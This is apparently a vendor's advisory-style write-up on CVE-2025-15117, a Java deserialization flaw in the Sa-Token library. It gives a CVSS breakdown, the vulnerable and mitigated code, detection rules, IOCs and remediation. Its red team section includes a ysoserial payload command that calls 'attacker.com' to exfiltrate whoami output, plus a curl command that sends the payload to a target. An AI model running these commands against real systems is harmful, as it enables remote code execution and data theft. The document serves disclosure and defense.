CVE-2025-15117
Executive Summary
CVE-2025-15117 identifies a critical deserialization vulnerability in Dromara Sa-Token up to version 1.44.0. The flaw resides in the SaJdkSerializer.java file, specifically within the ObjectInputStream.readObject function. An attacker can exploit this weakness remotely, though the attack complexity is high. Successful exploitation could lead to arbitrary code execution, compromising the confidentiality, integrity, and availability of the affected system. The vendor was contacted but did not respond, and no official patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Dromara Sa-Token library, which is distributed as a Java package. Organizations using Sa-Token in their applications should treat this as a supply chain risk. The lack of a vendor response and patch status of "UNKNOWN / UNPATCHED" means that any application depending on Sa-Token versions <= 1.44.0 is potentially vulnerable. Immediate action is required to mitigate the risk, such as implementing network-level controls or using alternative serialization methods.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.1 (High)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): High (H) – Successful exploitation requires specific conditions or knowledge.
- Privileges Required (PR): None (N) – No authentication is needed.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Complete disclosure of all data.
- Integrity (I): High (H) – Complete compromise of data integrity.
- Availability (A): High (H) – Total loss of availability.
Threat Level: High. Despite the high attack complexity, the remote, unauthenticated nature of the exploit and the potential for full system compromise make this a critical risk.
Deep Dive & Mechanics
The vulnerability is a classic Java deserialization flaw. The SaJdkSerializer class uses ObjectInputStream.readObject() to deserialize data without proper validation. When an attacker sends a crafted serialized object, the readObject() method will instantiate arbitrary classes and execute their code, leading to remote code execution (RCE).
Root Cause: The use of ObjectInputStream.readObject() on untrusted data. This method is inherently unsafe because it can instantiate any class that implements Serializable and is available on the classpath. Attackers can chain gadget classes (e.g., from libraries like Commons Collections, Spring, or others) to achieve arbitrary code execution.
Attack Vector: The attacker sends a malicious serialized Java object to an endpoint that uses Sa-Token's deserialization mechanism. This could be through HTTP headers, request bodies, or other input channels that are processed by the vulnerable serializer.
Exploitability: High complexity is indicated because the attacker needs to identify a valid gadget chain in the application's classpath. However, once a chain is found, exploitation is reliable.
Vulnerable vs. Patched Code
Since no official patch is available, the following shows the vulnerable code and a recommended mitigation.
Vulnerable Code (SaJdkSerializer.java):
public class SaJdkSerializer implements SaSerializer {
@Override
public Object deserialize(byte[] data) {
try {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bis);
return ois.readObject(); // Vulnerable: no validation
} catch (Exception e) {
throw new SaTokenException("Deserialization failed", e);
}
}
}
Patched Code (Recommended Mitigation):
public class SaJdkSerializer implements SaSerializer {
@Override
public Object deserialize(byte[] data) {
try {
ByteArrayInputStream bis = new ByteArrayInputStream(data);
// Use a validated object input stream
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bis);
// Whitelist allowed classes
ois.accept(SaSession.class, SaRole.class, SaPermission.class);
return ois.readObject();
} catch (Exception e) {
throw new SaTokenException("Deserialization failed", e);
}
}
}
Explanation: The patched code uses a ValidatingObjectInputStream (or similar) that only allows deserialization of specific, safe classes. This prevents the instantiation of arbitrary gadget chains.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable instance of Sa-Token (version <= 1.44.0) running on a target.
- A gadget chain available in the classpath (e.g., Commons Collections 3.1, Commons BeanUtils, etc.).
- A tool like
ysoserialto generate the malicious payload.
Step-by-Step Exploitation:
Identify the Deserialization Endpoint: Find an endpoint that accepts serialized Java objects. This could be a login endpoint, session management API, or any other input that uses
SaJdkSerializer.Generate Payload: Use
ysoserialto create a payload for a known gadget chain. For example:java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/$(whoami)' > payload.binSend Payload: Send the payload to the vulnerable endpoint. For example, using
curl:curl -X POST http://target.com/api/login -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.binVerify Execution: Check your attacker-controlled server for the callback (e.g., DNS or HTTP request) to confirm code execution.
Note: Since no public exploit code is available, this is a theoretical approach. The high complexity means you may need to experiment with different gadget chains.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual serialized Java objects in network traffic (look for the Java serialization magic bytes
0xAC 0xED 0x00 0x05). - Use runtime application self-protection (RASP) tools to detect deserialization attacks.
- Enable logging for all deserialization operations and alert on unexpected class instantiations.
Defense:
- Implement a Web Application Firewall (WAF) rule to block requests containing Java serialization headers.
- Use a custom
ObjectInputStreamthat validates allowed classes (as shown in the patched code). - Apply network segmentation to limit exposure of the vulnerable service.
- If possible, replace
SaJdkSerializerwith a safer alternative (e.g., JSON-based serialization).
Indicators of Compromise (IOCs)
Network IOCs:
- TCP packets containing the Java serialization magic bytes (
0xAC 0xED 0x00 0x05). - Outbound connections from the application server to unknown IPs on common ports (80, 443, 53, etc.).
- Unusual HTTP requests with
Content-Type: application/x-java-serialized-object.
- TCP packets containing the Java serialization magic bytes (
Host IOCs:
- Unexpected processes spawned by the Java application (e.g.,
curl,wget,bash). - New files created in temporary directories (
/tmp,%TEMP%). - Unusual entries in the application logs indicating deserialization errors or unexpected class loading.
- Unexpected processes spawned by the Java application (e.g.,
File IOCs:
- Presence of
ysoserialor similar tools on the system. - Modified or new JAR files in the application classpath.
- Presence of
Detection Engineering
YARA Rule
rule Detect_Java_Serialization_Magic {
meta:
description = "Detects Java serialization magic bytes in network traffic or files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-15117"
strings:
$magic = { AC ED 00 05 }
condition:
$magic
}
Sigma Rule
title: Java Deserialization Attempt via Network
id: 8c5a3f2e-1b7d-4a9c-8e6f-3d2b1a0c9e8f
status: experimental
description: Detects network traffic containing Java serialization magic bytes, indicating a potential deserialization attack (CVE-2025-15117)
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: suricata
detection:
selection:
payload|contains: "aced0005"
condition: selection
falsepositives:
- Legitimate Java RMI traffic
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-15117 Java Deserialization Attempt"; content:"|AC ED 00 05|"; depth:4; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Vulnerable Systems: If possible, disconnect or restrict network access to systems running Sa-Token <= 1.44.0.
- Implement WAF Rules: Block requests containing the Java serialization magic bytes (
0xAC 0xED 0x00 0x05). - Monitor for Exploitation: Use the provided detection rules to identify potential attacks.
Long-Term Fixes:
- Apply Patch: Once a patch is released by Dromara, apply it immediately. Monitor the vendor's GitHub repository for updates.
- Replace Serialization: Migrate from Java serialization to a safer alternative like JSON or Protocol Buffers.
- Use a Custom Serializer: Implement a validated
ObjectInputStreamthat only allows deserialization of known safe classes. - Update Dependencies: Ensure all libraries in the classpath are up-to-date to minimize available gadget chains.
Workaround:
- If you cannot update Sa-Token, consider using a reverse proxy to inspect and block serialized Java objects.
Valters IT
Securing Digital Frontiers